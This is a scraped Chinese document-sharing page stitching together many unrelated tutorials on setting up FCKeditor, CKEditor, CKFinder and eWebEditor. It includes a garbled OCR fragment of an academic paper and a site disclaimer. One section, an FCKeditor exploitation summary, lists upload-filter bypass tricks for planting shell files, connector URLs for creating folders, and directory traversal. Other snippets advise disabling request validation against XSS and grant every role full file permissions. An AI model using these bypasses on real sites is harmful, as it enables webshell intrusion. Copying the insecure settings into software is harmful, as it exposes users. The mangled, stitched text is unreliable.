Std','宋体,SimSun','新宋体,NSimSun','⿊体,SimHei','微软雅⿊,Microsoft YaHei','楷体_GB2312,KaiTi_GB2312','⾪书,LiSu','幼园,YouYuan','华⽂细⿊,STXihei','细明体,MingLiU','新细明体,PMingLiU']},}//初始化编辑器实例1ClassicEditor.create( document.querySelector( '#editor' ), config).then( editor => {window.editor = editor;} ).catch( error => {} );//初始化编辑器实例2ClassicEditor.create( document.querySelector( '#editor2' ), config).then( editor => {window.editor2 = editor;} ).catch( error => {} );window.onload = function(){document.getElementById("btn").onclick = function(){//获取内容数据，以及给获取的内容数据中的oembed替换成videowindow.str = window.editor.getData().replace(/oembed url/g,'video controls src').replace(/oembed/g,'video')console.log(window.str);}//给编辑器插⼊内容document.getElementById("btn2").onclick = function(){// //初始化编辑器中的数据;window.editor.setData('')//对插⼊的内容进⾏转换,将video标签转换为oembed标签var newContent = window.str.replace(/<video controls src=/g,'<oembed url=').replace(/<\/\video>/g,'<\/\oembed>')//将数据转换为⽂档⽚段var viewFragment = window.editor.data.processor.toView( newContent );//对转换的数据进⾏包裹var modelFragment = window.editor.data.toModel( viewFragment );//插⼊到编辑器中window.editor.model.insertContent( modelFragment );}document.getElementById("btn3").onclick = function(){}}。
FCKeditor使用方法详解
FCKeditor使用方法技术详解作者：深蓝色QQ：76863715本文PHPChina论坛首发本文特为《PHP5和MySQL5 Web开发技术详解》一书编写1、概述FCKeditor是目前最优秀的可见即可得网页编辑器之一，它采用JavaScript编写。
具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特点。
它非常流行，互联网上很容易找到相关技术文档，国内许多WEB项目和大型网站均采用了FCKeditor（如百度，阿里巴巴）。
本文将通过与PHP相结合，从基本安装到高级的配置循序渐进介绍给广大PHPer。
FCKeditor官方网站：/FCKeditor Wiki：/2、下载FCKeditor登录FCKeditor官方站（），点击网站右上角“Download”链接。
笔者编写本文时，FCKeditor当前最新的稳定版本是2.4.3，因此我们下载此版本的zip压缩格式文档。
如图1所示：图1：下载FCKeditor 2.4.3（最新稳定版）注意：当点击“FCKeditor_2.4.3.zip”链接后，将跳转到网站上自动下载。
如果您当前使用Linux或Unix系统，可以点击“FCKeditor_2.4.3.tar.gz”链接下载.tar.gz格式的压缩包。
3、安装FCKeditor解压“FCKeditor_2.4.3.zip”文档到您的网站目录下，我们先假定您存放FCKeditor和调用脚本存于同一个目录下。
目录结构如下图所示：图2：网站目录结构图fckeditor目录包含FCKeditor2.4.3程序文件。
check.php用于处理表单数据。
add_article.php 和add_article_js.html分别是PHP调用FCKeditor和JavaScript调用FCKeditor实例脚本文件。
3.1、用PHP调用FCKeditor调用FCKeditor必须先载入FCKeditor类文件。
FCKEditor在线编辑器的使用
FCKEditor在线编辑器的使用一、下载FCKeditor_2.6.3.zipa、解压后，有文件夹：(核心的文件夹)打开文件夹，使用火狐浏览器，查看示例，体验一下。
二、如何使用(通过例子示范)首先知道开发包中最重要的三个文件：a)创建一个静态页面fckeditorTest.html<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="Generator" content="EditPlus®"><meta name="Author" content=""><meta name="Keywords" content=""><meta name="Description" content=""><title>Document</title></head><body><form action=""><!--多行文本框--><textarea name="content">abcd</textarea><br><input type="submit" value="提交"></form></body></html>b)在静态页面中导入：c)从官方例子中拷贝核心代码，修改静态代码后：<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><!-- 1，导入js文件--><script type="text/javascript" src="fckeditor.js"></script></head><body><!-- 2，显示文本域--><form action=""><textarea name="content">abcd</textarea><!-- 3，显示为FCKeditor --><script type="text/javascript">var oFCKeditor = new FCKeditor( 'content' ) ; // 参数就是提交表单时的参数名// 必须要指定的属性。
FCKEditor控件的配置使用
网站项目：Fckeditor使用Step-By-Step最近项目中要用到在线编辑器，网搜下下，一箩筐，众说纷纭，介绍下Fckeditor使用手记。
一.下载FCKeditor V2.*.*.官网地址：/project/showfiles.php?group_id=75348FCKeditor2.*.*.zip ：Click Here.zip ：Click HereFckeditorV2.*.*解压后里面文件很多，只需保留几个重要的文件，具体如下(二)。
解压后里面Bin文件夹下，有Debug和Release两个文件夹，用哪个文件夹里面的FredCK.FCKeditorV2.dll都行。
(下载不同的版本，Fckeditor文件夹里面有的有这两个文件夹，有的只有一个，关键的是要将Fckeditor和FredCK.FCKeditorV2.dll的版本号控制好，不然以后会报“未能加载未能加载类型FredCK.FCKeditorV2.Uploader”或“未能加载类型FredCK.FCKeditorV2.FileBrowser.Connector”或“未能加载类型FredCK.FCKeditorV2.Config”,当然要是遇到这种情况，只需要点击下面的错误提示，跳转到相应页面，改page指令里面的：将FredCK.FCKeditorV2.Connector改为FredCK.FCKeditorV2.FileBrowser.Connector ）二. 精简文件：1.进入FCKeditor文件夹，把所有“_”开头的文件和文件夹删掉，这些都是一些范例，只保留editor文件夹、fckconfig.js、fckeditor.js、fckstyles.xml、fcktemplates.xml就可以了；2.进入editor文件夹，删掉“_source”文件夹，里面放的同样是源文件；ng里面放的是语言包，如果只是用简体中文，那么只保留zh-cn.js就行，建议也保留en.js（英文）、zh.js（繁体中文）两个文件三.修改配置：1.注入FredCK.FCKeditorV2.dll：一般网上介绍的是将Bin文件夹下的FredCK.FCKeditorV2.dll作为第三方控件，导入工具箱中，其实也没那个必要，只需将它添加引用到网站的Bin里面就行了。
ckeditor3.5.2+ckfinder2.1整合项目与 详细文档的配置
ckeditor3.5.2+ckfinder2.1jsp总结Ckeditor版本：ckeditor3.5.2Ckfinder版本：ckinder2.1Ckeditor-java-core：Ckeditor-java-core 3.5.3 zip步骤1：建web工程新建web工程：ckeditorDemo步骤2——下载ckeditor集成下载ckeditor3.5.2 zip下载地址：/download集成到项目中：将ckeditor 复制到工程中webRoot 根目录下步骤3——下载ckinder集成下载ckinder2.1 zip下载地址：/download集成到项目中：将ckinder 复制到工程中webRoot 根目录下配置完成图片为：步骤4——界面；分别倒入：ckeditor.js，ckfinder/ckfinder.js<script type="text/javascript"src="<%=basePath%>ckeditor/ckeditor.js"></script><script type="text/javascript"src="<%=basePath%>ckfinder/ckfinder.js"></script><form action="login"method="post"><textarea name="name"></textarea><script type="text/javascript">var name1=CKEDITOR.replace( 'name' );CKFinder.setupCKEditor(name1,'<%=basePath%>ckfinder' );</script><input type="text"name="content"><input type="submit"value="确定"></form>步骤5——导入相关的jar：步骤6——配置web.xml 文件<filter><filter-name>struts2</filter-name><filter-class>com.fckeditor.tool.StrutsFilter</filter-cla ss></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list><servlet><servlet-name>ConnectorServlet</servlet-name><servlet-class>com.ckfinder.connector.ConnectorServlet </servlet-class><init-param><param-name>XMLConfig</param-name><param-value>/WEB-INF/config.xml</param-value> </init-param><init-param><param-name>debug</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet><servlet-mapping><servlet-name>ConnectorServlet</servlet-name><url-pattern>/ckfinder/core/connector/java/connector.java </url-pattern></servlet-mapping><session-config><session-timeout>10</session-timeout></session-config>步骤7——在WEB-INF新建一个config.xml 文件配置为：<config><enabled>true</enabled><baseDir></baseDir><baseURL></baseURL><licenseKey></licenseKey><licenseName></licenseName><imgWidth>1600</imgWidth><imgHeight>1200</imgHeight><imgQuality>80</imgQuality><uriEncoding>UTF-8</uriEncoding><forceASCII>false</forceASCII><userRoleSessionVar>CKFinder_UserRole</userRoleSession Var><checkDoubleExtension>true</checkDoubleExtension><checkSizeAfterScaling>true</checkSizeAfterScaling><secureImageUploads>true</secureImageUploads><htmlExtensions>html,htm,xml,js</htmlExtensions><hideFolders><folder>.svn</folder><folder>CVS</folder></hideFolders><hideFiles><file>.*</file></hideFiles><defaultResourceTypes></defaultResourceTypes><types><type name="Files"><url>%BASE_URL%files/</url><directory>%BASE_DIR%files</directory><maxSize>0</maxSize><allowedExtensions>7z,aiff,asf,avi,bmp,csv,doc,docx,fl a,flv,gif,gz,gzip,jpeg,jpg,mid,mov,mp3,mp4,mpc,mpeg,mpg,o ds,odt,pdf,png,ppt,pptx,pxd,qt,ram,rar,rm,rmi,rmvb,rtf,sd c,sitd,swf,sxc,sxw,tar,tgz,tif,tiff,txt,vsd,wav,wma,wmv,x ls,xlsx,zip</allowedExtensions><deniedExtensions></deniedExtensions></type><type name="Images"><url>%BASE_URL%images/</url><directory>%BASE_DIR%images</directory><maxSize>0</maxSize><allowedExtensions>bmp,gif,jpeg,jpg,png</allowedExtens ions><deniedExtensions></deniedExtensions></type><type name="Flash"><url>%BASE_URL%flash/</url><directory>%BASE_DIR%flash</directory><maxSize>0</maxSize><allowedExtensions>swf,flv</allowedExtensions><deniedExtensions></deniedExtensions></type></types><accessControls><accessControl><role>*</role><resourceType>*</resourceType><folder>/</folder><folderView>true</folderView><folderCreate>true</folderCreate><folderRename>true</folderRename><folderDelete>true</folderDelete><fileView>true</fileView><fileUpload>true</fileUpload><fileRename>true</fileRename><fileDelete>true</fileDelete></accessControl></accessControls><thumbs><enabled>true</enabled><url>%BASE_URL%_thumbs/</url><directory>%BASE_DIR%_thumbs</directory><directAccess>false</directAccess><maxHeight>100</maxHeight><maxWidth>100</maxWidth><quality>80</quality></thumbs><plugins><plugin><name>imageresize</name><class>com.ckfinder.connector.plugins.ImageResize</cla ss><params><param name="smallThumb"value="90x90"></param><param name="mediumThumb"value="120x120"></param><param name="largeThumb"value="180x180"></param></params></plugin><plugin><name>fileeditor</name><class>com.ckfinder.connector.plugins.FileEditor</clas s><params></params></plugin></plugins><basePathBuilderImpl>com.ckfinder.connector.configurat ion.ConfigurationPathBuilder</basePathBuilderImpl></config>步骤九：在ckeditor config.js 中添加：CKEDITOR.editorCongig=function(config){//填写以下内容，图片，flash路径config.uiColor = '#F7F8F9'config.scayt_autoStartup = falsenguage = 'zh-cn'; //中文config.filebrowserBrowseUrl = 'ckfinder/ckfinder.html'; config.filebrowserImageBrowseUrl ='ckfinder/ckfinder.html?Type=Images';config.filebrowserFlashBrowseUrl ='ckfinder/ckfinder.html?Type=Flash';config.filebrowserUploadUrl ='ckfinder/core/connector/java/connector.java?command=Quic kUpload&type=Files';config.filebrowserImageUploadUrl ='ckfinder/core/connector/java/connector.java?command=Quic kUpload&type=Images';config.filebrowserFlashUploadUrl ='ckfinder/core/connector/java/connector.java?command=Quic kUpload&type=Flash';};步骤九：ckeditor 与 struts2 兼容的问题：自己写个类继承StrutsPrepareAndExecuteFilter 重写 doFilter 方法public class StrutsFilter extends StrutsPrepareAndExecuteFilter{public void doFilter(ServletRequest req,ServletResponse res, FilterChain chain) throws IOException, ServletException {HttpServletRequest request = (HttpServletRequest) req;String URI = request.getRequestURI();String[] uriArray =URI.split("/ckfinder/core/connector/java/*/");int arrayLen = uriArray.length;if (arrayLen >= 2) {chain.doFilter(req, res);}else {super.doFilter(req, res, chain);}}}在web.xml 配置上面配置好了；<filter><filter-name>struts2</filter-name><filter-class>com.fckeditor.tool.StrutsFilter</filter-cla ss></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list><servlet><servlet-name>ConnectorServlet</servlet-name>最后的目录：中文乱码：修改 tomcat6.0 中 conf 中的 server.xml 配置<Connector executor="tomcatThreadPool"port="8080" protocol="HTTP/1.1" connectionTimeout="20000"redirectPort="8443" />。
基于Java Web的HTML在线文本编辑器解决方案——以FckEditor在线编辑器为例
Ｖ １ Ｏ ． ｏ ． ＮＯ２ １
Ｆ ｂ． Ｏｌ ｅ ２ １
基 于 Ｊ ｖ ｅ ａ ａＷ ｂ的 Ｈ ＴＭ 线 文 本 Ｌ在 编 辑 器 解 决 方 案
以 Ｆ ｋ ｉ ｒ 线 编 辑 器 为 例 ｃ Ｅｄｔ 在 ｏ
于梅 英 ， 姜 波 ， 张 珂
（ 州 大 学 网络 教 育 学 院 ， 肃 兰 州 ７ ０ ０ ） 兰 甘 ３ ０ ０
ｉｏｒ ｔ 。
（ ） 压 Ｆ ｋ ｄｔｒ２ ６ ６ ｚ ２解 ｃ Ｅ ｉ 一 ． ． ．ｉ 件 ， 解 压 后 的根 目 ｏ ｐ文 将
的 ＨＴ ＭＬ在线 编 辑器 也是 千 差 万别 ， 中大 多数 都支 持 常 其
用 的 ｗｅ ｂ开 发 语 言 ， ＡＳ Ｐ 、 ＮＥ 等 语 言 。 然 而 ， 如 Ｐ、 ＨＰ ． Ｔ 随 着 Ｊｐ技 术 的 成 熟 和 发 展 ， 部 分 不 支 持 Ｊ ｐ编 辑 器 已 不 能 ｓ 一 ｓ
２ 基于 Ｊｖ ｂ的 Ｈ ＭＬ在线编辑器解 决方案 ａａＷｅ Ｔ
著 名 的 开 源 网 页 编 辑 软 件 Ｆ ＫＥｄｔｒ在 Ｏ Ｃ ｉ ｏ ９年 发 布 至 现 在 已经 更 新 到 ３ ０版 本 ， ｃ Ｅ ｉ ｒ由 于 其 资 源 轻 量 化 、 ． Ｆ ｋ ｄｔ ｏ 配 置 简单 、 费 开 源 、 本 编 辑 功 能 齐 全 、 持 多 浏 览 器 、 免 文 支 支持 Ｐ ＨＰ、ａ ａ ｃｉｔ ＡＳ 、 Ｐ ＮＥ Ｃ ｌＦ ｓ ｎ Ｊ ｖ 、 Ｊｖ Ｓ ｒ 、 Ｐ ＡＳ ． Ｔ、 ｏｄ ｕ ｉ 、ａ ａ ｐ ｏ
上 传 文 件或 附 件 的 路 径及 存 放 文 件 的文 件 夹 名 ， 根 可
据 项 目 需 要 自行 设 定
３３ 实 现文本样 式编辑 、 ． 图片 上 传 和 附 件 上 传 下 载
在线编辑器jsp版
上传图片路径设置：
//默认上传默认目录为xx/upload/，xx为你的根目录
//此处设置上传文件保存路径,注意路径要由ROOT开始===3处======================
ewebeditor在线编辑器jsp版使用心得
我的一些使用经验及遇到的问题
Ewebeditor使用说明：
一、部署方式：
1、直接把压缩目录中的文件拷贝到您的网站发布目录下；
2、配置对应WEB-INF下文件，把eWebEditor文件夹下WEB-INF/web.xml中
<display-name>defaultroot</display-name>
<input type="hidden" name="content" />
在</head>前加入：
<script language="javascript">
function subchk() //
{
document.form1.content.value= window.content_html.getHTML();
String sUploadFilePath="/upload/";
Style.xml中
<suploaddir>/upload/</suploaddir>
eWebEditor.jsp 中
String sUploadFilePath="../upload/";//设置文件上传后在ewebeditor编辑器中图片显示地址
ASP.NET笔记之CKEditor的使用方法
笔记之CKEditor的使⽤⽅法1、CKEditor原名FckEditor，著名的HTML编辑器，可以在线编辑HTML内容。
⾃⼰⼈⽤CKEditor，⽹友⽤UBBEditor。
配置参考⽂档，主要将ckeditor中的（adapters、images、lang、plugins、skins、themes、ckeditor.js、config.js、contents.css）解压到js⽬录，然后“显⽰所有⽂件”，将ckeditor的⽬录“包含在项⽬中”，在发帖页⾯引⽤ckeditor.js，然后设置多⾏⽂本框的class="ckeditor"（CSS强⼤）(服务端控件CssClass=" ckeditor "，客户端控件要设定cols、rows属性，⼀般不直接⽤html控件)，代码中仍然可以通过TextBox控件的Text属性来访问编辑器内容。
由于页⾯提交的时候会把富⽂本编辑器中的html内容当成攻击内容，因此需要在aspx中的Page标签中设置ValidateRequest="false" 来禁⽤攻击检测（2010中还要根据报错信息修改WebConfig来禁⽤XSS检测）。
遇到错误如下：**修改WebConfig来禁⽤XSS检测当提交“<>”这些字符到aspx页⾯时，如果没有在⽂件头中加⼊“ValidateRequest="false"”这句话，就会出现出错提⽰：从客户端(<?xml version="...='UTF-8'?><SOAP-ENV:Envelope S...")中检测到有潜在危险的Request.Form 值。
如你是vs2008的⽤户，只要在aspx⽂件的开始部分，如下⽂所⽰处：复制代码代码如下:<%@ PageLanguage="C#" CodeBehind="News_add.aspx.cs" Inherits="CKEditor.Default" %>加上ValidateRequest="false"即可。
FCKeditor_2.6.3使用说明
FCK在MVC和中的配置和使用收藏FCK在MVC和中的配置和使用一：FCK配置1. 下载FCKeditor_2.6.3.zip（核心文件）_2.6.3.zip（。
Net Control）（下载地址：FCKeditor 的压缩包/sourceforge/fckeditor/FCKeditor_2.4.3.zipFCKeditor 的.net 2.0核心库/sourceforge/fckeditor/_2.2.zip）（或者直接到我的资源/source/1859109中去下载，里面有使用的例子，结合下面内容一看就会）2. 部署到.NET网站中FCKeditor_2.6.3.zip解压后将fck根目录改名为fckeditor，放到网站根目录下。
网站根目录下创建一个文件夹uploadfiles，用于存放上传的文件在网站中引用_2.6.3.zip中的“FredCK.FCKeditorV2.dll”（注意：在IIS6.0下，上传图片的时候，会出现JS没有权限的错误，解决方法是，更改FredCK.FCKeditorV2.dll的源码，找到FileBrowser/FileWorkerBase.cs 文件代码124 行Response.Write( @"(function(){var d=document.domain;while (true){try{var A=window.top.opener.document.domain;break;}catch(e) {};d=d.replace(/.*?(?:\.|$)/,'');if (d.length==0) break;try{document.domain=d;}catch (e){break;}}})();" );把try 中的document.domain=d; 删除即可.然后重新生成FredCK.FCKeditorV2.dll即可）3. 简化fck配置删除所有以_开始的文件和文件夹，在filemanager中的connector中除aspx以外的文件夹4. 修改fck的语言fckeditor中的fckconfig.js61～63行FCKConfig.AutoDetectLanguage = false ;FCKConfig.DefaultLanguage = 'zh-cn' ;FCKConfig.ContentLangDirection = 'ltr' ;5. 修改上传和浏览文件的程序语言类型fckeditor中的fckconfig.js276～277行var _FileBrowserLanguage = 'aspx' ; // asp | aspx | cfm | lasso | perl | php | pyvar _QuickUploadLanguage = 'aspx' ; // asp | aspx | cfm | lasso | perl | php | py6. 上传权限设置fckeditor2.6.3默认已经在fckconfig.js中允许被授权的连接上传和浏览文件了，但是默认情况下有将所有的连接都设为了未授权状态。
在线编辑器ckeditor、文件管理器ckfinder安装及使用
在线编辑器ckeditor、⽂件管理器ckfinder安装及使⽤
概念与作⽤
在线编辑器也叫作富⽂本编辑器，是⼀种通过浏览器来对⽂字、图⽚、⾳频和视频等富⽂本进⾏在线编辑的⼀种⼯具，通常也就是
指HTML编辑器！
为什么要有在线编辑器？
其实，即使没有在线编辑器，我们也可以利⽤html标签对相关的内容进⾏排版和显⽰，但是html标签语⾔仅限于懂web技术的前端⼯程师，⽽且直接编写代码的效率⾮常低，同时也不能直接看到效果，为了提⾼内容编辑的效率以及普通⾮技术⼈员也能⽅便的操作，所以出现了在线编辑器！
分类
世⾯上的在线编辑器有很多，也各有各的优缺点，其中国外有⼀款⽐较成熟，也是⽬前国内使⽤的最多的⼀款叫作fckeditor，开源并且免费！
⽬前，fckeditor⼀分为⼆：变成了ckeditor（⽂本编辑器，免费）+ ckfinder（⽂件管理器，收费软件，可以上传⽂件等其他功能）
此外，⽬前使⽤的较多的还有百度编辑器！
Ckeditor下载地址：
/download
Ckfinder下载地址：
/ckfinder/download
Ckeditor的部署
Ckeditor属于外部的插件，可以放在Vendor⽬录下，但是由于在线编辑器⼀般只有后台才使⽤，所以更常见的做法是放在后台⽬录下！
在后台下创建Public⽬录，引⼊Ckeditor和Ckfinder
由于在线编辑器需要直接被⽤户访问到，所以我们可以在后台Back⽬录下创建⼀个Public⽬录，然后引⼊Ckeditor！
此外，还要在Public下创建分布式配置⽂件：
此外，再复制Ckfinder进来，需要和Ckeditor处于同级⽬录：
Ckeditor的⽬录结构说明。
Fckeditor漏洞利用总结
Fckeditor漏洞利用总结查看编辑器版本fckeditor/_—————————————————————————————————————————————————————————————2. version 版本apache+linux 环境下在上传文件后面加个.突破！测试通过。
—————————————————————————————————————————————————————————————action=“http:///fckeditor/editor/filemanager/uploa d/php/?type=media”method=“post”> action=“http:///fckeditor/editor/filemanager/upload/php/?type=media”method=“post”> action=“http:///fckeditor/editor/filemanager/uploa d/php/?type=media”method=“post”>upload a new file:—————————————————————————————————————————————————————————————文件上传“.”变“_”下划线的绕过方法很多时候上传的文件例如：或;.jpg 会变为shell_php;.jpg 这是新版fck 的变化。
：提交+空格绕过不过空格只支持win 系统 *nix 是不支持的[ 和+空格是2 个不同的文件未测试。
：继续上传同名文件可变为;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
—————————————————————————————————————————————————————————————5. 突破建立文件夹fckeditor/editor/filemanager/connectors/asp/?comman d=createfolder&type=image¤tfolder=%&newfolder name=z&uuid=1244789975684fckeditor/editor/filemanager/browser/default/connec tors/asp/?command=createfolder¤tfolder=/&type =image&newfoldername=—————————————————————————————————————————————————————————————6. fckeditor 中test 文件的上传地址fckeditor/editor/filemanager/browser/default/connec tors/fckeditor/editor/filemanager/upload/fckeditor/editor/filemanager/connectors/fckeditor/editor/filemanager/connectors/—————————————————————————————————————————————————————————————7.常用上传地址fckeditor/editor/filemanager/browser/default/connec tors/asp/?command=getfoldersandfiles&type=image&cur rentfolder=/fckeditor/editor/filemanager/browser/default/?type= image&connector=connectors/asp/fckeditor/editor/filemanager/browser/default/?type= image&connector=http://%2ffckeditor%2feditor%2ffile manager%2fconnectors%2fphp% (ver: 测试通过) jsp 版：fckeditor/editor/filemanager/browser/default/?type= image&connector=connectors/jsp/注意红色部分修改为fckeditor 实际使用的脚本语言，蓝色部分可以自定义文件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
jsp修改fckeditor上传图片路径_绝对路径的修改
jsp修改fckeditor上传图片路径绝对路径的修改我们这里讨论的是绝对路径的修改。
如果你需要该相对路径只需要改<param-value>UserFiles/</param-value> 里的值就可以了fckeditor对jsp支持一般般，要配置一大堆，网上都是类似的文章，就不复述了，如何修改上传文件的路径，却一直没有解决方法，找了半天，最后只有自己哼哧哼哧的改由于fckeditor默认的上传路径是自己工程环境下，/UserFiles，是在web.xml里配置的1.<init-param>2.<param-name>baseDir</param-name>3.<param-value>UserFiles/</param-value> *这里少了一个 /4.</init-param>这里没法改成绝对路径，所以只有到servlet里想办法，找到类fffinit方法里的参数获取不要管，主要是在doGet()里面String currentPath=baseDir+typeStr+currentFolderStr;String currentDirPath = getServletContext().getRealPath(currentPath);这个是原来的写法取的就是当前项目webcontent下的/UserFiles/这里改成String currentPath=baseDir+typeStr+currentFolderStr;currentPath=currentPath.replace('\\','/');String currentDirPath="你需要存放文件的绝对路径"+currentPath;如String currentDirPath="d:/dweb_box/"+currentPath; *这里多了一个/下面还要改原来的写法如下Noderoot=CreateCommonXml(document,commandStr,typeStr,currentFolderStr,req uest.getContextPath()+currentPath);这里改成Noderoot=CreateCommonXml(document,commandStr,typeStr,currentFolderStr,"你需要存放文件的tomcat应用的相对路径"+currentPath);如Noderoot=CreateCommonXml(document,commandStr,typeStr,currentFolderStr,"/d web_box/"+currentPath);* 和tomc应用的path="/dweb_box" 对应doPost()方法里currentPath和currentDirPath改法与doGet一致servlet里只需要改这么多就可以了注意哈如果你上传文件后还是看不到很可能是你的存放文件的路径没有配置成tomcat 应用如上面的例子<Context displayName="dweb_box" docBase="d:/dweb_box"path="/dweb_box"></Context>如有疑问和遗漏请留言给我。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
FCKeditor （jsp在线编辑器）配置总结
折腾了两天，从eWebEditor到CKeditor再到FCKeditor真是费足了劲了！
本人比较喜欢开源的，在网上狂搜一通最后被CKeditor强大的功能和华丽的界面吸引的五体投地~~，高高兴兴的下载了CKeditor，花费了半天的时间终于把CKeditor配置好了，结果一点图片发现连个上传图片的按钮都没有（~~~~(>_<)~~~~ ），原来还需要一个CKfinder插件。
于是又兴冲冲的跑到官网上找CKfinder，找到最后却发现就是没有java版的！！！而且这个插件好像是要收费的，哎~真是郁闷死了。
不能用CKeditor那就用FCKeditor吧，呵呵，下面牢骚归正传：
一、首先到官网下载最新版本的
FCKeditor 2.6.5下载地址：
/project/downloading.php?group_id=75348&filename=FCKeditor_2.6.5.zip FCKeditor.Java 2.6 要下的有fckeditor-java-demo-2.6.war (示例，我觉得下载这一个就够了)
fckeditor-java-2.6-src.zip (源文件，如果你想看就下吧)
fckeditor-java-2.6-bin.zip (我下了，但没有上)
二、(1)、把FCKeditor 2.6.5解压到WebRoot下
(2)、解压fckeditor-java-2.6-bin.zip，把文件夹中的fckeditor-java-core-2.6.jar以及lib中的所有jar
包拷贝到你的web程序的lib中，fckeditor-java-demo-2.6.war中的slf4j-simple-1.5.8.jar也要拷进去（注意：slf4j-api和slf4j-simple的版本一定要一致）。
如果你觉得麻烦，那么就从fckeditor-java-demo-2.5.war 中直接将lib文件夹下的所有jar包复制到项目的lib中，我就是这么做的。
(3)、把fckeditor-java-demo-2.6.war 中的web.xml中的servlet的配置复制到你的web程序中web.xml 中。
<servlet>
<servlet-name>ConnectorServlet</servlet-name>
<servlet-class>net.fckeditor.connector.ConnectorServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>ConnectorServlet</servlet-name>
<!-- Do not wrap this line otherwise Glassfish will fail to load this file -->
<url-pattern>/fckeditor/editor/filemanager/connectors/*</url-pattern>
</servlet-mapping>
(4)、把fckeditor-java-demo-2.6.war 中的fckeditor.properties复制到你项目的src中
(5)、通过它提供的标签库添加应用：
在需要应用的jsp页面添加taglib:
<%@ taglib uri="" prefix="FCK"%>
然后是引用入编辑框：
<FCK:editor instanceName="content" basePath="/FCKeditor" > </FCK:editor>
(6)、通过iframe添加应用：
<input id="content" name="content" value="" type="hidden" /><iframe id="content___Frame" frameborder="0" height="200" scrolling="no" width="100%"
src="//fckeditor/editor/fckeditor.html?InstanceName=content&Toolbar=Default">
</iframe>
三、新建个测试页面试一下。
<%@ page language="java" import="java.util.*" pageEncoding="GB18030"%>
<%@ taglib uri="" prefix="FCK"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title></title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
</head>
<body style="text-align:center;">
<FCK:editor instanceName="content" basePath="/fckeditor" > </FCK:editor>
</body>
</html>
四、呵呵，出来了……
看看能不能传图片……
哈哈，上传成功！
看看能不能浏览服务器……。